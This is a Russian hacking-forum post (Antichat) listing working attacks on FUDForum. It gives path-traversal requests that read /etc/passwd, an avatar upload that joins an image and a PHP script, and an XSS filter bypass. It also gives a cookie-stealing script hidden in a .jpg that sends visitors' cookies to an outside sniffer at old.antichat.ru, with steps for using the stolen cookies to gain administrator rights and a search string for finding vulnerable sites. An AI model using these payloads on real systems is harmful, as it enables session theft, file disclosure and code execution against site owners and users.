Форум АНТИЧАТ - [Обзор Уязвимости FUDForum]

[Обзор] Уязвимости FUDForum

Офф. Сайт www.fudforum.org
Актуальная версия 2.7.7
Исходники Скачать

Уязвимость в admbrowse.php

Уязвимость в admbrowse.php позволяет просматривать произвольные файлы

Код:

admbrowse.phpdown=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]

FUD Forum 2.7.1 PHP code injection vurnelability

Возможность залить вместо аватара PHP скрипт, для этого соедините аватар с PHP файлом.

Под linux/unix

Код:

cat foo.png foo.php > upload_me.php

В win в простом Notepad.

Уязвимость в tmp_view.php

Уязвимость позволяет просматривать произвольные файлы.

Код:

/tmp_view.php?file=/etc/passwd

Кража cookie

Берём картинку, с названием 1.jpg
Открываем блокнотом. И вставляем в картинку допустим:

Код:

<html> 

<head> 

<script>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script> 

</head> 

</html>

После вставки в сообщение будет ссылка наподобии этой:

Код:

http://forum.site.ru/index.php?t=getfile&id=2723&private=0

или так нагляднее:

Код:

http://forum.site.ru/index.php?t=getfile&id=2723

После открытия этой ссылки произойдёт кража куков пользователей.

******
Далее идем сюда:

Код:

http://old.antichat.ru/sniff/log.php

И вставляем куки себе. И получаем права аминистратора.

Для поиска:

Код:

Powered by: FUDforum 2.7.4

XSS

На некоторых версиях при отключённых картинках, подписях и т.д. есть возможность провести XSS в отправке сообщения:

Код:

[img=javascript:alert('bugs!');]Бага[/img]

В слове javascript букву t нужно заменить на код & # 116 ; без пробелов.

(c)